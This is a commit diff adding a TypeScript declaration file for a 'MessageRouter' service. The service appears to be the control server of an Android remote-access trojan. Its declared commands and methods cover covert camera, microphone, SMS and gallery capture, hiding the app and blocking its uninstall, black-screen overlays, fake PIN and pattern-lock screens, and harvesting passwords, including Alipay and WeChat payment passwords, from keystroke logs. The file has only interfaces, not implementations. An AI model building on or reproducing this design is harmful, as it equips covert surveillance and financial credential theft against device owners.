111
This commit is contained in:
400
dist/services/MessageRouter.d.ts
vendored
Normal file
400
dist/services/MessageRouter.d.ts
vendored
Normal file
@@ -0,0 +1,400 @@
|
||||
import DeviceManager from '../managers/DeviceManager';
|
||||
import WebClientManager from '../managers/WebClientManager';
|
||||
import { DatabaseService } from './DatabaseService';
|
||||
/**
|
||||
* 控制消息接口
|
||||
*/
|
||||
export interface ControlMessage {
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
|
||||
deviceId: string;
|
||||
data: any;
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 操作日志消息接口
|
||||
*/
|
||||
export interface OperationLogMessage {
|
||||
deviceId: string;
|
||||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||||
content: string;
|
||||
extraData?: any;
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 屏幕数据接口
|
||||
*/
|
||||
export interface ScreenData {
|
||||
deviceId: string;
|
||||
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
|
||||
data: Buffer | string;
|
||||
width: number;
|
||||
height: number;
|
||||
quality: number;
|
||||
timestamp: number;
|
||||
isLocked?: boolean;
|
||||
}
|
||||
/**
|
||||
* 摄像头数据接口
|
||||
*/
|
||||
export interface CameraData {
|
||||
deviceId: string;
|
||||
format: 'JPEG' | 'PNG' | 'H264';
|
||||
data: string;
|
||||
type: 'camera';
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 相册图片数据接口(设备发送)
|
||||
*/
|
||||
export interface GalleryImageData {
|
||||
deviceId: string;
|
||||
type: 'gallery_image';
|
||||
timestamp: number;
|
||||
index: number;
|
||||
id: number | string;
|
||||
displayName?: string;
|
||||
dateAdded?: number;
|
||||
mimeType?: string;
|
||||
width?: number;
|
||||
height?: number;
|
||||
size?: number;
|
||||
contentUri?: string;
|
||||
format: 'JPEG' | 'PNG';
|
||||
data: string;
|
||||
}
|
||||
/**
|
||||
* 麦克风音频数据接口(设备发送)
|
||||
*/
|
||||
export interface MicrophoneAudioData {
|
||||
deviceId: string;
|
||||
type: 'microphone_audio';
|
||||
timestamp: number;
|
||||
audioData: string;
|
||||
sampleRate: number;
|
||||
sampleCount: number;
|
||||
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
|
||||
channels: number;
|
||||
bitDepth: number;
|
||||
}
|
||||
/**
|
||||
* 短信数据接口
|
||||
*/
|
||||
export interface SmsData {
|
||||
deviceId: string;
|
||||
type: 'sms_data';
|
||||
timestamp: number;
|
||||
count: number;
|
||||
smsList: SmsItem[];
|
||||
}
|
||||
/**
|
||||
* 短信项接口
|
||||
*/
|
||||
export interface SmsItem {
|
||||
id: number;
|
||||
address: string;
|
||||
body: string;
|
||||
date: number;
|
||||
read: boolean;
|
||||
type: number;
|
||||
}
|
||||
/**
|
||||
* 消息路由服务 - 增强版,包含内存管理
|
||||
*/
|
||||
export declare class MessageRouter {
|
||||
private logger;
|
||||
private deviceManager;
|
||||
private webClientManager;
|
||||
private databaseService;
|
||||
private screenDataBuffer;
|
||||
private cameraDataBuffer;
|
||||
private smsDataBuffer;
|
||||
private microphoneAudioBuffer;
|
||||
private readonly maxBufferSize;
|
||||
private readonly bufferTimeout;
|
||||
private readonly maxDataSize;
|
||||
private lastCleanupTime;
|
||||
private readonly cleanupInterval;
|
||||
private routedFrames;
|
||||
private droppedFrames;
|
||||
private totalDataSize;
|
||||
private routedCameraFrames;
|
||||
private droppedCameraFrames;
|
||||
private totalCameraDataSize;
|
||||
private routedSmsData;
|
||||
private droppedSmsData;
|
||||
private totalSmsDataSize;
|
||||
private routedMicrophoneAudio;
|
||||
private droppedMicrophoneAudio;
|
||||
private totalMicrophoneAudioSize;
|
||||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
|
||||
/**
|
||||
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
|
||||
*/
|
||||
private sendLocalGalleryToClient;
|
||||
/**
|
||||
* 🔧 启动定期清理任务
|
||||
*/
|
||||
private startPeriodicCleanup;
|
||||
/**
|
||||
* 🔧 定期清理过期数据
|
||||
*/
|
||||
private performPeriodicCleanup;
|
||||
/**
|
||||
* 🚨 紧急内存清理
|
||||
*/
|
||||
private performEmergencyCleanup;
|
||||
/**
|
||||
* 路由控制消息(从Web客户端到设备)
|
||||
*/
|
||||
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
|
||||
/**
|
||||
* 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理
|
||||
*/
|
||||
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
|
||||
/**
|
||||
* 重试路由屏幕数据
|
||||
*/
|
||||
private retryRouteScreenData;
|
||||
/**
|
||||
* 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现
|
||||
*/
|
||||
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
|
||||
/**
|
||||
* 重试路由摄像头数据
|
||||
*/
|
||||
private retryRouteCameraData;
|
||||
/**
|
||||
* 路由相册图片数据(不保存到磁盘,直接转发base64给客户端)
|
||||
*/
|
||||
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
|
||||
/**
|
||||
* 路由麦克风音频数据(从设备到Web客户端)
|
||||
*/
|
||||
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
|
||||
/**
|
||||
* 重试路由麦克风音频数据
|
||||
*/
|
||||
private retryRouteMicrophoneAudio;
|
||||
/**
|
||||
* 路由短信数据(从设备到Web客户端)
|
||||
*/
|
||||
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
|
||||
/**
|
||||
* 重试路由短信数据
|
||||
*/
|
||||
private retryRouteSmsData;
|
||||
/**
|
||||
* 路由设备事件(从设备到Web客户端)
|
||||
*/
|
||||
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||||
/**
|
||||
* 路由客户端事件(从Web客户端到其他客户端或设备)
|
||||
*/
|
||||
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||||
/**
|
||||
* 处理设备控制请求
|
||||
*/
|
||||
private handleDeviceControlRequest;
|
||||
/**
|
||||
* 处理设备控制释放
|
||||
*/
|
||||
private handleDeviceControlRelease;
|
||||
/**
|
||||
* 处理设备列表请求
|
||||
*/
|
||||
private handleDeviceListRequest;
|
||||
/**
|
||||
* 处理操作日志(从设备接收)
|
||||
*/
|
||||
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
|
||||
/**
|
||||
* 处理获取操作日志请求
|
||||
*/
|
||||
private handleGetOperationLogs;
|
||||
/**
|
||||
* 处理清空操作日志请求
|
||||
*/
|
||||
private handleClearOperationLogs;
|
||||
/**
|
||||
* 处理获取设备密码请求
|
||||
*/
|
||||
private handleGetDevicePassword;
|
||||
/**
|
||||
* 处理保存设备密码请求
|
||||
*/
|
||||
private handleSaveDevicePassword;
|
||||
/**
|
||||
* 处理更新设备状态请求
|
||||
*/
|
||||
private handleUpdateDeviceState;
|
||||
/**
|
||||
* 处理获取设备状态请求
|
||||
*/
|
||||
private handleGetDeviceState;
|
||||
/**
|
||||
* 广播消息到所有相关方
|
||||
*/
|
||||
broadcastMessage(eventType: string, data: any): void;
|
||||
/**
|
||||
* 获取路由统计信息
|
||||
*/
|
||||
getRouterStats(): {
|
||||
totalDevices: number;
|
||||
totalClients: number;
|
||||
activeControlSessions: number;
|
||||
};
|
||||
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
|
||||
private handleDeviceLoggingStateChanged;
|
||||
private restoreDeviceState;
|
||||
private handleSearchPasswordsFromLogs;
|
||||
/**
|
||||
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
|
||||
*/
|
||||
private extractPasswordCandidatesWithMeta;
|
||||
/**
|
||||
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
|
||||
*/
|
||||
private extractPasswordCandidates;
|
||||
/**
|
||||
* ✅ 新增:从密码内容检测密码类型
|
||||
*/
|
||||
private detectPasswordTypeFromContent;
|
||||
/**
|
||||
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
|
||||
*/
|
||||
private isPossiblePasswordEnhanced;
|
||||
/**
|
||||
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
|
||||
*/
|
||||
private isPossiblePassword;
|
||||
/**
|
||||
* ✅ 刷新所有web客户端的设备列表
|
||||
*/
|
||||
private refreshAllWebClientDeviceLists;
|
||||
/**
|
||||
* ✅ 同步设备状态到设备端
|
||||
*/
|
||||
private syncDeviceStateToDevice;
|
||||
/**
|
||||
* 处理删除设备请求
|
||||
*/
|
||||
private handleDeleteDevice;
|
||||
/**
|
||||
* 获取设备UI层次结构
|
||||
*/
|
||||
private handleGetUIHierarchy;
|
||||
/**
|
||||
* 处理设备UI层次结构响应
|
||||
*/
|
||||
private handleUIHierarchyResponse;
|
||||
/**
|
||||
* 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式
|
||||
*/
|
||||
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
|
||||
/**
|
||||
* 🆕 处理开始提取确认坐标的请求
|
||||
*/
|
||||
private handleStartExtractConfirmCoords;
|
||||
/**
|
||||
* 🆕 处理保存确认坐标的请求
|
||||
*/
|
||||
private handleSaveConfirmCoords;
|
||||
/**
|
||||
* 🆕 处理启用黑屏遮盖的请求
|
||||
*/
|
||||
private handleEnableBlackScreen;
|
||||
/**
|
||||
* 🆕 处理取消黑屏遮盖的请求
|
||||
*/
|
||||
private handleDisableBlackScreen;
|
||||
/**
|
||||
* 🆕 处理打开应用设置的请求
|
||||
*/
|
||||
private handleOpenAppSettings;
|
||||
/**
|
||||
* 🆕 处理隐藏应用的请求
|
||||
*/
|
||||
private handleHideApp;
|
||||
/**
|
||||
* 🆕 处理应用隐藏状态更新(来自Android端的状态报告)
|
||||
*/
|
||||
private handleAppHideStatusUpdate;
|
||||
/**
|
||||
* 🆕 处理显示应用的请求
|
||||
*/
|
||||
private handleShowApp;
|
||||
/**
|
||||
* 🆕 处理关闭配置遮盖的请求
|
||||
*/
|
||||
private handleCloseConfigMask;
|
||||
/**
|
||||
* 🆕 处理重新获取投屏权限请求
|
||||
*/
|
||||
private handleRefreshMediaProjectionPermission;
|
||||
/**
|
||||
* 🆕 路由权限申请响应
|
||||
*/
|
||||
routePermissionResponse(socketId: string, permissionData: any): boolean;
|
||||
/**
|
||||
* 💰 路由支付宝密码数据
|
||||
*/
|
||||
routeAlipayPassword(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 💬 路由微信密码数据
|
||||
*/
|
||||
routeWechatPassword(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 🔐 路由通用密码输入数据
|
||||
*/
|
||||
routePasswordInput(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 🔍 路由支付宝检测启动指令
|
||||
*/
|
||||
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
|
||||
/**
|
||||
* 💬 路由微信检测启动指令
|
||||
*/
|
||||
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
|
||||
/**
|
||||
* 🆕 处理MediaProjection权限申请响应
|
||||
*/
|
||||
private handleMediaProjectionPermissionResponse;
|
||||
/**
|
||||
* 🛡️ 处理启用防止卸载保护的请求
|
||||
*/
|
||||
private handleEnableUninstallProtection;
|
||||
/**
|
||||
* 🛡️ 处理禁用防止卸载保护的请求
|
||||
*/
|
||||
private handleDisableUninstallProtection;
|
||||
/**
|
||||
* 处理相册权限检查请求
|
||||
*/
|
||||
private handleGalleryPermissionCheck;
|
||||
/**
|
||||
* 处理相册读取请求
|
||||
*/
|
||||
private handleAlbumRead;
|
||||
/**
|
||||
* 处理设备解锁请求
|
||||
*/
|
||||
private handleUnlockDevice;
|
||||
/**
|
||||
* 🔐 处理打开6位PIN输入界面的请求
|
||||
*/
|
||||
private handleOpenPinInput;
|
||||
/**
|
||||
* 🔐 处理打开4位密码输入界面的请求
|
||||
*/
|
||||
private handleOpenFourDigitPin;
|
||||
/**
|
||||
* 🔐 处理打开图形密码输入界面的请求
|
||||
*/
|
||||
private handleOpenPatternLock;
|
||||
/**
|
||||
* 处理修改服务器地址请求
|
||||
*/
|
||||
private handleChangeServerUrl;
|
||||
}
|
||||
export default MessageRouter;
|
||||
//# sourceMappingURL=MessageRouter.d.ts.map
|
||||
Reference in New Issue
Block a user